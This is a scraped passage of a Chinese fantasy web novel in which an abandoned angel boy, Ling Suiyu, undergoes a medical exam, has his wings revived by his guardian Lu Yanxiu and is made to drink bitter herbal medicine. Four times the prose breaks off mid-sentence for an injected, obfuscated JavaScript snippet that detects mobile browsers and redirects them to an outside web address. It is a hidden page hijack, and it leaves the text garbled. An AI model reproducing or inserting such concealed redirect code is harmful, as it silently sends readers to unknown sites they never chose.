“就是这个味道,我告诉你,这是这方圆十里最好吃的一家冰激凌,平时排队都要大半个小时,我想吃都没有耐心去排。” 凌岁虞含着勺子,说话不太方便,听见这话歪了歪脑袋,有点疑惑。 “我去的时候都没人欸,我几分钟就买好了,”说着,他还举了举手上拎着的另一个袋子,里面有一个小盒装的巧克力巴斯克,“店员姐姐还送了我一份甜品试吃。” “那你真的超级无敌巨幸运,”萧羽眼睛亮晶晶的,他迅速摸出手机,亮出微信二维码,“你加我好友,附近有啥好吃的我都知道,到时候有空带你出去吃。” “一定要背着队长,他知道了肯定会不高兴,毕竟人类食品对异族来说不是什么好东西,大家都叫它们垃圾食品。” “好!” “偷偷背着他吃。” 凌岁虞立刻放下手里的吃的,扫了萧羽做好友,看着原本只有一个好友的微信又多了一个人,他眨了眨眼睛,转头开开心心地和办公室的大家都互换微信。 不过他跑得实在太快,没有听到萧羽后面的话。 “队长人还是很好的,但千万小心一点,被发现了可能会挨揍哦。” 晚上,凌岁虞抱着香喷喷的小熊钻进了被窝,兴奋地熬夜跟大家一起聊了好久的天。 最后他都不记得自己是什么时候睡过去的。 等头晕脑胀的醒来时,诱人的面包香早就充斥了整个小房。 陆琰修轻轻敲了敲门,叫他起床。 “别赖床了,起床洗漱,要空腹做完检查才能吃饭,太晚了会饿得胃痛。” 凌岁虞揉了揉脸蛋,迷迷瞪瞪站了起来,才发现小熊已经被他蹬到了脚边,小小一只四肢扭曲刘超在一起,看起来好可怜。 而小熊原本的位置,躺着的是黑屏的手机。 凌岁虞按了下开关,发现手机自动关机了,他心虚地缩了缩肩膀,估计是没电了。 还好昨天不是跟陆琰修一起睡。 他把小熊拿过来,重新端正地放好,又把毯子扯平盖在床上,这才踩着拖鞋去洗漱。 本来他还特地穿了一件陆琰修选的衣服,毛茸茸的,看起来很可爱,可惜陆琰修看到时不仅没有夸他,还强制要求他去换下来了。 “凌岁虞,外面现在快30度,你穿得这么厚是想中暑吗?” 凌岁虞没顶嘴,换衣服的动作飞快。 他还真的没有这种意识,天使领地四季常春,他流浪时家当全都要带在身上,衣服不叠穿,他根本拿不完,久而久之,也就对气温不太敏感了。 二十几度的时候,他棉袄都穿过呢。 陆琰修查过凌岁虞的来历,根据为数不多的监控记录,找到了疑似他前十几年居住的地方。 那里是中心管理局专门给天使一族划分的独立领地,由天使自行管理,人类不多加干涉。 而凌岁虞应该就是因为血脉不纯或者低劣而被家族驱逐出家门的。 当然,这不能算是犯罪。 这些被驱逐出家门的小孩子,一般都会到专门的学校进行集中管理,相当于被寄养到了全封闭式的地方进行抚养教育。 凌岁虞本来可以不算幸福但是很平静地长大,只是不知道为什么,他会偷偷离开学校,四处流浪,现在还跑到了人类的城市,然后被他捡到。 这些都可以留在之后去调查,现在最重要的事情是带着小朋友去体检,体检结果决定了他能不能顺利进入学校这件大事。 “准备出门了,”陆琰修搜了天气预报,看气温变化极大,往包里丢了把伞,“要不要涂点防晒。” 凌岁虞摇头拒绝,他骄傲地仰着脸蛋,给人看自己白嫩水灵的肌肤。 “我,晒不黑,天生的。” “大太阳而已,我一点也不怕,我超级无敌厉害的。” “是吗?”陆琰修给宋南星发了个消息,让他帮忙订一份专门的营养餐,“那你怕不怕打针抽血。” 凌岁虞想了想自己见过的大风大浪,顿时信心膨胀,不屑地哼了声。 “小小检查,轻松拿下。” * “呜呜呜,姐姐你能不能稍微轻一点,我怕痛。” 医院中,医生让把袖子卷上去,胳膊放到台子上抽血做检查。 凌岁虞不情不愿地盯着微粗的针管,旁边几个小孩子嗷嗷叫的声音回荡在他耳边,听得他本来就不够坚强的心又碎了碎。 他默默攥着陆琰修的衣角,实在不想放开。 医生见多了这样的人,温柔解释:“不用担心,抽血很快的,而且一点也不痛,你眼睛闭上,几秒钟就结束了,感觉就是被蚊子叮了一下。” 真的假的,凌岁虞还是觉得旁边叫得和杀猪一样的小孩子的哭声更权威。 正当他犹豫不决的时候,一只手盖了过来,刚好压住了他的眼睛。 可怕的针头立刻看不见了。 凌岁虞闻到了一股淡淡的香味,是家里洗衣凝珠的味道。 陆琰修温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333808|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声哄他:“勇敢点,岁虞,等做完检查了,我带你出去玩,你想要什么就给你买什么,好不好。” 凌岁虞眨了眨眼睛,身子微微扭了下,整个人就像扭扭棒一样歪着头埋进了陆琰修的怀里,小孩的哭声一下子变得好远好远,他的心慢慢镇定下来。 他能够清晰地感觉到,陆琰修按住了他的后颈,把他的头往他怀里又摁了下。 力道不重,抚摸时带来浓浓的安全感。 凌岁虞怀疑他是在用撸猫的手法在揉捏他,只是不知道为什么会这么舒服,他眼睛眯起来,很是享受,要是真的是只小猫,恐怕会咕噜咕噜了。 他深吸一口气,闷声闷气地小声强调:“姐姐,你一定要很温柔很温柔很温柔哦,扎我之前要提前跟我说一声,我要做好心理准备。” “我会轻轻的哦,小朋友好勇敢……” 话音还没有落,凌岁虞就敏锐地察觉到有东西扎进胳膊,刺痛感一瞬而逝,没等懵着的脑子转过神来,他就感觉到那东西又被抽了出去。 陆琰修松开了手,另一只手拿了根棉签,按在了那个还在溢血的小口上。 凌岁虞揉了揉眼睛,又使劲眨了眨,面前的一切从模糊变清晰,他才后知后觉地发出一声长长的咦。 满脸纠结,全是迷茫。 “好像不是很痛,”他转头去看那些还在家长怀里哭着求安慰的小孩子,“他们为什么看起来这么难受。” “那是因为你很坚强,”陆琰修眼里浮上淡淡的笑意,他摸了摸口袋,取了东西出来,握紧拳头悬在凌岁虞的胸前,“给你的奖励。” “你怎么总是在给我奖励?我会被你惯坏的。” 凌岁虞歪了歪头,试图从他的手缝里窥见奖励是什么,只可惜他拳头握得太紧,他什么也看不到。 他嘟哝着抱怨:“之后要是我什么都做的很好,你觉得不需要给我奖励了怎么办,我会很不开心的。” 嘴上这么说着,他还是很诚实地摊开手心,放到了陆琰修的拳头底下。 “快给我!”他恶声恶气催促,小模样很嚣张。 陆琰修顺势松开拳头,几颗水晶糖落了下来,晶莹剔透的糖纸在灯光下闪闪发光,绚丽多彩。 把捏着的棉签取下,确定了不再出血后,他快步寻了个专门的垃圾桶丢了进去。 转头看到凌岁虞正捧着棉签开开心心地蹦来蹦去,被几颗糖果哄得心花怒放。 他唇角微勾,笑着说。 “就算没有奖励了,也还会有礼物。” “保证凌岁虞小朋友会天天收到新的惊喜,开开心心过每一天。” 9. 营养不良 凌岁虞虽然流浪多年,经历的事情也挺多,但毕竟还年轻,没遇上过什么太坏的人,这几天被陆琰修宠着惯着,已经有点骄纵的姿态了。 偏偏陆琰修乐得其见,不仅没有打压他嚣张的气焰,反而更加纵容。 宋南星是第一个看出这种端倪的人。 在发现凌岁虞捧着糖进诊疗室时,他眼神尽力了犀利地朝陆琰修看去。 不是说了体检结束前不能吃东西吗。 陆琰修手放在口袋里,头也没低一下,随意地打了几个字发过去。 宋南星桌上的手机震了震,微信置顶发来了一条新消息。 【没让他吃,刚抽血的时候很听话,专门给的小奖励。】 宋南星盯着这条消息,有点破防。 他狠狠地回了条消息。 【不要偷偷炫耀你的养孩子成果好嘛,我一点也不羡慕你有弟弟可以宠ok,我缺弟弟吗,我很多弟弟的!】 在等待陆琰修回消息的途中,他随意地往上翻了翻,不翻还没什么,一翻更是眼皮子都上下跳。 纯粹气的。 他们两个算是半个竹马,从小认识,他可以用自己的名誉发誓,这家伙是个眼高于顶,看似温柔实则傲慢的大少爷,只要是他看不上眼的人,连话都懒得多说一句,你在他面前作妖,人家当你放屁。 在他的记忆里,陆琰修几乎不怎么用社交软件,也不会去浪费时间刷视频追剧,一切年轻人追捧的东西,他好像都不是很喜欢,反倒是很喜欢跟宋南星的父母去谈心品茗下棋,爬山露营旅行。 就连和宋南星,都是只在遇险的时候才会多聊两句,其他时候,别说微信消息了,能接电话都算是陆琰修心情好了。 更多的时候,两个人的沟通完全靠线下交流,或者是奇怪的数字符号。 【1】代表会来拜访。 【2】说明有大事面聊。 【3】询问有没有空约着出去浪一圈。 宋南星经常和陆琰修吐槽,说他是老年人,和时代脱线了,这人还总是一副那又如何我乐意的姿态,不说话都能把人堵死。 偏偏宋南星还就得把这个万年不说一句话的人放在置顶——因为他是陆琰修的私人医生,只要陆琰修出任务受伤了,他就得第一时间赶过去。 他倒是硬气点不干这个工作,但谁叫陆琰修给的实在是太多了,月薪七位数谁能拒绝。 只不过一切在陆琰修捡了个小朋友回家后就不一样了。 三四天工夫,宋南星收到的消息数都数不过来。 他一眼看过去就是。 【哪种教辅书比较适合零基础高中生的。】 【过两天我带他去你那里体检,你准备点小孩子喜欢的零食放柜子里。】 【来的时候帮忙带杯新品奶茶,大杯的,加冰,正常糖。】 【改一下,奶茶小杯,常温。】 【小朋友失眠怎么办】 【在医院吗,捡到了个小朋友,好像被车撞到晕倒了,我送过来你检查一下】 再往上就是冷漠的转账消息,受伤部位照片,还有地点定位。 【大出血】 【翅膀撕裂】 【加班一小时20w】 【今天三个小时,凑个整100w】 没有一丝感情,全是金钱的光芒。 越看越想吐槽,宋南星窒息地把手机放到了一边,换上一副笑脸温柔地问乖乖坐到他面前的凌岁虞:“今天检查前没有乱吃东西吧。” 凌岁虞紧张地摇了摇头。 他小声问:“你这里的检查也要抽血吗?” 刚刚抽血的过程虽然很快,但针扎进肉里的感觉还是给他留下了点阴影。 他瘪着嘴,想着要是还要抽血,自己一定要再拿一份奖励才可以。 宋南星诧异地瞥了一眼陆琰修,然后晃了晃手,解释。 “不用抽血,你前面做的都是人类需要做的正常身体体检,我负责帮你检查一些特殊的项目。” “比如测试你翅膀的活性。” 凌岁虞听到这两个字就敏感地缩了缩肩膀,恨不得立刻扯着陆琰修夺门而出。 他不情不愿地嘟囔:“这有什么好检查的啊,我的翅膀残疾,肯定没有活性。” “不能这么说,”宋南星从抽屉出取出这个新的本子,在第一页写上了凌岁虞的名字和年龄,他强调:“具体的还得我帮你检查之后才能确定。” 说罢,他起身,去拿了副新手套往手上戴。 “进内间,躺下,然后把翅膀放出来,我帮你检查一下。” 凌岁虞却如同石像一般,坐在原地一动不动。 他求助的目光转向陆琰修。 陆琰修微皱眉,走过来安抚地揉了揉他的头,劝:“怎么了,乖乖进去做检查好不好,这次检查不痛的,身体是最重要的,有什么问题我们也可以提前知道,提前治疗,不是吗?” 凌岁虞倔着不说话,他咬着唇,脸颊微红,分不清是难为情还是生气。 陆琰修更耐心地哄他。 “就剩一项检查了,我们做完了就去吃饭,你想吃布丁吗,用勺子按一下会弹的那种,我给你把全部口味都买一种。” 凌岁虞舔了舔唇,明显被说得馋了,但眼神还是很犹豫。 他问:“一定要检查这个吗,不能换一个检查项目吗,随便什么都可以。” 他持续性的讨价还价让陆琰修察觉到了不对劲,这不是简单的不喜欢可以解释的。 更准确一点,应该是害怕的情绪更多。 陆琰修拧眉,想不出来凌岁虞到底害怕什么,翅膀残疾这件事,整个队里的人全都知道,上次出车祸去医院检查的时候,医生也明确指出,这个是天生的,几乎没有治愈可能。 凌岁虞应该也清楚,没必要在这件事上纠结。 难不成,陆琰修灵光一现,他是害怕因为自己的翅膀的外在形象招来异样眼光。 难言的懊恼弥漫心头。 明明已经查到了一部分他过去的经历,为什么这个时候却没有想起来。 陆琰修单膝跪地,握住他的手,刚想说话,门却被轻轻扣响了。 “宋医生,血检结果出来了。” 凌岁虞垂头盯着男人,看他半跪在地上,抿着唇飞速地从椅子上跳下来,用力把人拽了起来。 他半蹲着,一只手压着自己的膝盖,另一只手使劲拍打着男人的裤子。 “不要跪,腿痛,而且地上好脏。” 小跑过来开门拿报告的宋南星一听就不乐意了,单手叉腰,挥着报告单,火冒三丈,声音都高了八度。 “不要污蔑我好嘛,这地板都是我每天辛辛苦苦,跪在地上,趴着一点一点亲手擦的,说不定他这裤子还没有我的地板干净呢。” 手上的报告单被甩得哗啦哗啦响个不行。 宋南星低头一看,嚯了一声,眼睛瞪得老大。 “不是,你这血统混得够多啊,确定检查没出问题吗,”他摸着下巴,看着这报告单上面检测出来的数据发愣,“八国混血都不够你吹的。” 陆琰修见他这一惊一乍不着调的样子就无奈,干脆自己上前拿过单子看。 白色的纸上印满了密密麻麻的黑色小字,他看不太懂,干脆全部跳过,直接看结果。 这一看,他也没忍住惊讶地挑了挑眉。 报告上列出来的凌岁虞体内的血液成分复杂独特,细胞竟然呈现出了数百个种族的运行特征。 放眼看过去,这上面几乎涵盖了人类已经发现并且记录的所有新种族。 不少种族都是像天使和恶魔一样的死敌。 “这绝对是不正常的,”他面色微沉,把报告塞回宋南星的怀里,大步急速走到凌岁虞旁边,双手握紧他的肩膀,问:“岁虞,你对过去真的一点印象都没有吗?” 凌岁虞心一跳。 他没有看报告结果,自然不知道为什么这两人表情变得这么严肃,他只能摇头,含糊其辞。 “真不记得了。” 顿了顿,他小心试探:“有什么问题吗,还是我得绝症了?” “没有,你不要多想,”陆琰修深叹一口气,语气强硬了些,他盯着少年的眼睛,告诉他:“但是这次体检你必须要做,撒娇也不能躲过去,我不会心软的,什么都没有你的身体重要。” “现在,乖一点,听医生的话,把翅膀放出来。” 凌岁虞捏住领口,下意识后退两步。 好好的怎么又扯到这件事上面来了。 但他也非常关心自己的身体状况,犹豫片刻,还是诚实地解释:“不是我不想放出来,哥哥,是我放不出来。” 他转过身去,让陆琰修看他的背。 背部平坦得可怕,平时,天使等种族都会把翅膀收缩回体内,虽然外表看不出来异样,但是仔细摸索,就会发现在蝴蝶骨下方,藏着一小块微硬的凸起。 只要轻轻抚摸,受到刺激的翅膀就会破肌而出,迅速展开。 这是所有异族无法控制的本能。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333809|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆琰修靠近,手指从脖颈处一路往下滑,一寸一寸摸索着,试图找到那对翅膀。 但直到他的手摸到了腰部,也没有找到那两处凸起。 只摸到了凌岁虞感觉太痒,瑟缩身子时,起伏的蝴蝶骨。 陆琰修久违地感受到了烦躁和无措。 他手环过凌岁虞的腰,直接带着人往旁边的里间走。 凌岁虞猝不及防,踉跄两步,差点两条腿打架扑到陆琰修怀里。 他扭过身子,抓住了男人的手臂,边走边跑跟了上去,好险没让衣服被撕破。 被叫着躺在床上时,他甚至松了一口气。 还好没有破,这衣服可贵了。 宋南星也急步跟了进来,他抬眼看了下凌岁虞迷茫的脸,转身去旁边寻找基础药剂。 “琰哥,这里交给你了,我去备药,你先试试能不能通过刺激让他的翅膀放出来。” 陆琰修淡淡嗯了声,他在凌岁虞下巴下面垫了个软枕,免得床膈得下巴痛,同时这个方式也让少年上半身抬起,和床隔了一小点距离。 他拉住了少年的前衣摆,迅速着卷着往上面拉,衣摆抵到凌岁虞的唇边。 “压着,或者咬着,别掉下来。” 凌岁虞蹭了蹭枕头,用下巴尖抵住了衣服,他感觉到陆琰修在他的腰部搭了件毯子,毛毛接触到肌肤,痒痒的,暖暖的。 背上突然传来的凉意让他受惊地缩了缩身子。 下巴抵着的衣服也滑了下来。 陆琰修收回了手,轻声道了句抱歉,然后出去了几分钟。 凌岁虞竖起耳朵,却什么动静也听不到,他干脆泄力趴了下来,过了会儿又想到了什么,自己低头把掉下去的衣服卷上来。 他乖巧地咬住了一小点衣摆。 陆琰修回来时刚好对上他亮晶晶的眼睛,笑着走过来夸他好乖。 再次按下来的手是潮湿的,暖意很明显。 看来他刚刚是去用热水洗手了。 凌岁虞胡乱想着东西,嘴里咬着衣服,他谨慎地不敢开口,趴着看不见人,只有背部的按压感能够让他有点实感。 这种时候,时间就显得格外难熬。 突然,一股暖意从背部流入四肢百骸,凌岁虞如同浸入温泉,浑身上下都暖洋洋的,身体的寒意都被驱走,他眯着眼睛,如同被撸得晕头转向的猫儿,发出一声轻轻的喟叹。 他舒服地快要睡过去了。 背上的肌肤突然传来了很轻微的撕裂感,有什么湿漉漉黏糊糊的东西搭在了他的身上,吓得他一下子回神。 凌岁虞挣扎着想要扭身爬起来看发生了什么,却被一双手不容置疑地摁在了床上,不容动弹。 “别乱动,新生的翅膀还很脆弱,你的动作太大会导致它脱落的。” 凌岁虞瞬间躺平。 他也是第一次知道,他竟然真的有翅膀。 看不见翅膀到底长什么样,他立刻迫不及待地询问:“哥哥,我的翅膀它好看吗?” 他的声音里满满的都是期待。 陆琰修略显迟疑,他低头,手心很轻地碰了碰耷拉在少年背上的小翅膀,不知道该怎么形容。 这翅膀真的太小了,他只在新生天使身上看到过,而且不同于普通天使羽翼的雪白,这双只有巴掌大的羽翼外形实在特殊。 毛发稀疏,尖端带走小刺,摸上去带有海洋生物的黏糊糊的触感,甚至羽毛都是渐变多彩的。 陆琰修第一次亲眼见到什么叫做五彩斑斓的白。 他酝酿了一下,“很可爱。” “不漂亮吗?”凌岁虞警惕,他知道在现代人口中,再丑的东西也可以用可爱来形容,他就听到过人类对一个超级无敌巨丑的东西说话,夸那东西丑萌丑萌的。 陆琰修镇定解释:“翅膀得长大了才能说漂亮,小翅膀都是用可爱形容的。” 他一边说着,一边从旁边拿来了干净的毛巾,轻轻地擦拭起翅膀上的黏液,分析这东西是会不断分泌的,还是只是新生翅膀用作保护用的糨糊。 宋南星刚好捧着药回来,看见翅膀出来了猛地窜过来,激动:“让我看看!” 凌岁虞连忙问:“宋医生,我的翅膀是不是好了?” 宋南星观察了一下,迟疑:“应该是有极高的恢复可能的,不过,大概需要琰哥天天帮你按摩输送能量。” 他语重心长道:“不要太紧张,小朋友,翅膀不出来这其实是小问题。” “只是因为你严重的营养不良。” 10. sweet words “好麻烦,”凌岁虞小声嘟哝:“有没有别的办法呀,天天按摩好浪费时间的,哥哥还要工作呢。” 他不情愿地偏头,用行动拒绝了这个提议。 宋南星挑眉,笑眯眯地说:“当然不止这一种方法,可这个效果最高,还不用受苦。” “还是说,你想试试我新研发的中药,”他善意地提醒:“很苦很难喝哦,每天都得喝两大瓶。” 凌岁虞露出为难的表情。 他手指蜷曲,勾着陆琰修的衣袖,无意识地拉了拉,把平整的袖口都扯皱了。 陆琰修伸手握住了他冰凉的指尖,轻轻捏了捏。 泛白的指肉透出了浅淡的粉色。 “医生说什么就是什么,翅膀早点治疗好,你和我都开心,乖一点,听医生的话。” 宋南星双手环胸盯着,跟着劝说:“信我,我和你哥多少年的交情了,他弟就是我弟,我肯定不会害你的,什么法子好我就用什么法子。” “你也别担心他嫌麻烦,他宝贝着你呢,天天问我这问我那,我可从来没有见他给我发过这么多与工作无关的消息,你可是第一个。” 凌岁虞眨了眨眼睛,试探性地询问:“真的没有其他人吗,哥哥的朋友感觉很多……” 宋南星难得遇到一个对陆琰修过往如此好奇的人,眼睛一亮,就要侃侃而谈。 “宋南星,你的限量款跑车球鞋是不是都不想要了?” 陆琰修出声冷酷地中断了他的倾诉欲。 宋南星浑身一颤,立刻正了身子,咳了咳,一本正经地说:“我也没有那么清楚啊,到时候让你哥亲自跟你说,我还得给你再搞点药膏过来涂抹翅膀,你们再多按摩一会儿,当做第一次治疗。” 说完,他就飞速奔向材料室,头也不回。 只在路过陆琰修时,甩下一句话。 “你看见了啊,我什么都没说,答应我的跑车球鞋一个都不能少!” 陆琰修淡淡嗯了声,缓步转到了床的另一边。 全程,他只是嘴上说着无情,威胁了把宋南星,实际上,他手机都揣在兜里没有拿出来,更别提退跑车球鞋了。 凌岁虞仰头,看着宋南星消失的背影,好奇心压都压不住。 “哥,你真会把东西给他退了吗?” 陆琰修垂眸,放轻力气,又帮凌岁虞按摩起了翅膀,小小的翅膀柔软得像棉花糖,按下去会出现一个浅坑,他从没见过这么脆弱的翅膀,按摩时连呼吸都屏住。 “痛得话告诉我。”他小心地抚弄翅膀。 凌岁虞倒是放松。 新生的翅膀还不太敏感,也许是因为催生,他始终觉得翅膀和身子没有连通,一切感觉都很遥远。 陆琰修的按摩不仅没有带来痛意,还舒服地让他想要闭眼睡一觉。 他放松身子,缓缓地闭上了眼睛,呼吸放慢,头歪倒。 陆琰修见状才松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333810|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口气,一边谨慎地继续按摩小翅膀,给这团软绵绵继续注入能量,一边放轻声音,像讲睡前故事一样,回答凌岁虞的问题。 “不会的,我就是提醒一下他不要随便说话,”他说着眼底染上点笑意,评价:“他性子比较跳脱,你跟他相处时别太顺着他,小心他把你带沟里去。” “我还能和他一起玩?他知不知道我的来历,会不会讨厌我。”凌岁虞困倦地呢喃,明明快睡着了,却还是强撑着问,担忧溢于言表。 “他很喜欢你的,”陆琰修安抚,看少年还是不太相信的样子,便举例,“上次的雪花酥就是他给你带的,还有奶茶,也是我拜托他给你买的,他还怕我不会照顾你,给我送了专业的书籍。” “那,他为什么也对我这么好?” 凌岁虞感到些许惶恐,短短几天,他从陆琰修周边接收到了太多的善意。 他曾经流浪的时候,人人都讨厌他,怎么换了个地方,就突然变得如此受欢迎了,大家好像都很喜欢他,陪他玩,送他礼物,还给他买东西。 可他从始至终都没有变过。 陆琰修的手顿住,手指头挪到少年面前,盖住了他的眼睛。 他温柔地命令:“闭眼。” 凌岁虞条件反射地跟着他的指令做,他本就昏昏欲睡,一闭上眼睛,困意就如潮水般涌来。 “没有理由,你值得大家对你好。” 他伴着甜甜的夸赞入梦。 11. 家有新朋友 再次醒来,周围已经没人,但床边放着一个保温杯,杯子上贴着个纸条,上面有几行字。 凌岁虞撑着身子凑过去看。 【我去取药包,要离开一会儿,你醒了给我打电话,杯子里的药你尝尝,还热着就喝了,冷了就放着,不许倒掉,全部喝完。】 他小心地伸手把粘在杯子上的纸条扯下来,认认真真对折再对折,最后把这张小纸片放到了衣服内侧的口袋里,拉上拉链锁好。 全程,他都对旁边的小垃圾桶视而不见。 他拧开了保温杯,热气扑来,送进鼻腔中的是浓郁的药味,不用尝试都能看出来这药的攻击性极强,苦中苦。 握杯的手悬在空中。 要不然还是倒了吧,这是凌岁虞脑海里蹦出来的第一个想法。 他没尝过中药,还以为是和西药一样,一板胶囊,几颗药片,眼睛一闭,就着水一口就能吞下去。 味道再难吃也不过是几秒的折磨。 谁知道开的中药竟然就是冲泡的,这分量都可以和奶茶比一比了。 只是留下来的纸条特意强调了不许倒药,做坏事被发现了,他肯定就完蛋了。 纠结半天,凌岁虞颇有偷感地巡视了一圈工作室,一骨碌翻身坐了起来,改为双手捧着杯子,他垂头,眯着眼睛,试图看清楚里面液体的颜色。 头顶的灯被脑袋挡了个彻底,杯子内部黑黢黢的,什么都看不清楚。 他的脸慢慢下挪,逐渐靠近杯口,眼看着整张脸都要抵上去。 脖颈处突然传来一股阻力。 凌岁虞的行动被打断,僵持在了空中,衣领被拎着的感觉有点明显。 他缩了缩脖子,如同被掐中死穴的猫咪,一下子就怂了,收回了要捣蛋的爪子。 放下杯子,扯扯衣服,挠挠脸,摸摸下巴。 陆琰修双手环胸,站在床边俯视着他,眉头微拧,唇抿着,很生气的冷淡模样。 只是他急促的呼吸,还有起伏的胸膛,都暴露了他的内心并不像表现出来的平静。 “凌岁虞,你知不知道,人在心虚的时候,总是会做出一副能忙的样子。” 凌岁虞四处乱摸的手不敢动了。 陆琰修冷声问:“为什么不给我发消息。” 凌岁虞一听就大事不妙,他立刻转身,摸索着取出了枕头下的手机,指纹解锁,打开微信,发送微信一气呵成。 他跪坐起来,把手机屏幕展示给男人看。 【我醒啦,马上乖乖喝药QWQ!】 【小天使捧脸jpg.】 心机小天使特意选了个和自己有点关系的萌萌表情包,替自己向陆琰修撒娇。 他以为自己是不好意思说这种类型的话的,可开口,语气里的甜就藏不住全冒出来了。 “拜托拜托,原谅我这一次,我已经补发消息了,您就大人有大量,不计较我这次了好不好。” 凌岁虞伸出一只手,在陆琰修面前晃了晃。 “闭上眼睛。” 陆琰修不理解他的意思,犹豫片刻,还是闭上了眼睛,睫毛颤动。 “睁开眼睛,”凌岁虞理直气壮地篡改时间,“现在是十分钟前,我刚刚醒,然后第一时间给你发了消息,告诉你我醒来了。” 陆琰修没忍住哼笑一声,他睁开眼,看着明显卖乖的小朋友,到底说不出什么重话,最后也只是无奈地摇了摇头,轻易放过了他。 “下次记得我说的话,知不知道我从监控看见你醒过来了,却不给我发消息时有多着急。” “我还以为是按摩有什么副作用,你不舒服却不想告诉我。” 说着,他把杯子拿起来,手心在杯口试了试,确定了还是热的,亲手递到了凌岁虞的手边。 “还有,这个药必须喝,你刚刚的小心思我就不提了,现在当着我的面喝吧。” 凌岁虞捧着杯子,苦着脸,肉眼可见的萎靡了,他唇瓣贴上杯子,咬着杯口,含糊着念叨:“之后天天都要喝这么苦的药吗,那人生还有什么乐趣,喝一口我的舌头都要苦麻了,哥我们能不能商量一下把这个药换成西药,我一定乖乖吃。” “以后喝的药和这次不一样。”陆琰修退后几步,回到门口,把刚刚太急直接丢到柜子上的包拿了过来,他拉开拉链给凌岁虞展示。 一包包袋装的中药整整齐齐地躺在那里,体型饱满,和早餐铺里的荞麦馒头没什么区别。 凌岁虞咽了口水,差点被中药呛到,最后的一点药渣卡喉咙,他没忍住剧烈地咳嗽,眼泪都跟着飙了出来。 他声音哑着,哽咽着问:“有什么不一样的呢哥,是不苦了吗?” 陆琰修摇了摇头。 “你今天喝的是宋医生纯手工现熬的,里面的中药材没有去干净,有药渣。” 凌岁虞绝望地深深叹了一口气,咬牙切齿道:“那真是谢谢宋医生了。” 之后有机会他一定要让宋医生也尝尝他亲手熬的药到底有多苦。 可怜的小天使,为了自己的翅膀忍下了这苦得人灵魂出窍的中药,回去的路上都神情恍惚,他没让陆琰修拿药,坚持自己抱着,沉甸甸的包时刻提醒着他,他要喝的中药还有好多好多。 越想越难受,凌岁虞瘪着嘴上前两步,拉住了陆琰修的衣服,想要撒娇求安慰,一抬头却直接呆在了原地。 他竟然站在一个黑暗地狱风格的小店门口。 陆琰修是带他到魔界领地了吗,记忆里对魔族的评价太过差劲,几乎全是负面的,一瞬间,他脑子里划过了很多词语。 自私,血腥,暴力,阴暗,狡诈。 凌岁虞放轻声音,“哥,我们这是来干什么?” 陆琰修似乎察觉到了他情绪不对,反手拉住了他的胳膊,轻轻一拽,他踉跄两步,丝毫没有挣扎,像水一样滑了过来,钻进了陆琰修的怀里。 “放轻松,我们来这里带个新朋友回家。” “新朋友,”凌岁虞下意识地抵触,他才来这个家没几天呢,不安带来的危机感让他立刻警惕地捍卫起了自己的权利,“我不要,有我们两个就很好了。” “你太紧张了,岁虞,”陆琰修手搭在他的肩膀上,轻柔地抚摸,安抚着炸毛的小朋友,“你体内的能量失衡严重,为了翅膀能健康发育,我们需要带一些拥有浓郁黑暗元素的新朋友回去。” “我保证,一切全凭你做主,你要是都不喜欢,等过几天,我我就带你回我的城堡,我们从那里挑一些植物或者是珠宝回来。” “生命体能够带来的好处最多,我希望你快点好起来,先进去看看,说不定有你喜欢的呢。” 凌岁虞怦怦跳着的心稍微平静了些。 他抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333811|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆琰修的腰,感受着温暖的手从脖颈一路顺到背的触感,在这种有力而温和的安抚下,逐渐找到了安全感。 但他还是不放心,追问:“真的我决定吗,只要我不愿意,再好的东西我们都不要。” 陆琰修没有丝毫犹豫,肯定地应下来。 他重复了一遍凌岁虞的话,特意在不愿意,不要两个词上做了强调。 两个人在店门口抱着站了好一会儿,直到凌岁虞主动退了出来,拉着人往店里走,这次逛店之行才正式开始。 一进门,凌岁虞就惊住了,目不暇接,左看看右看看,新奇得不行。 同一时间,他的耳尖也稍稍红了点,不太好意思起来,眼睛眨了又眨,羞窘得想要钻到地里去。 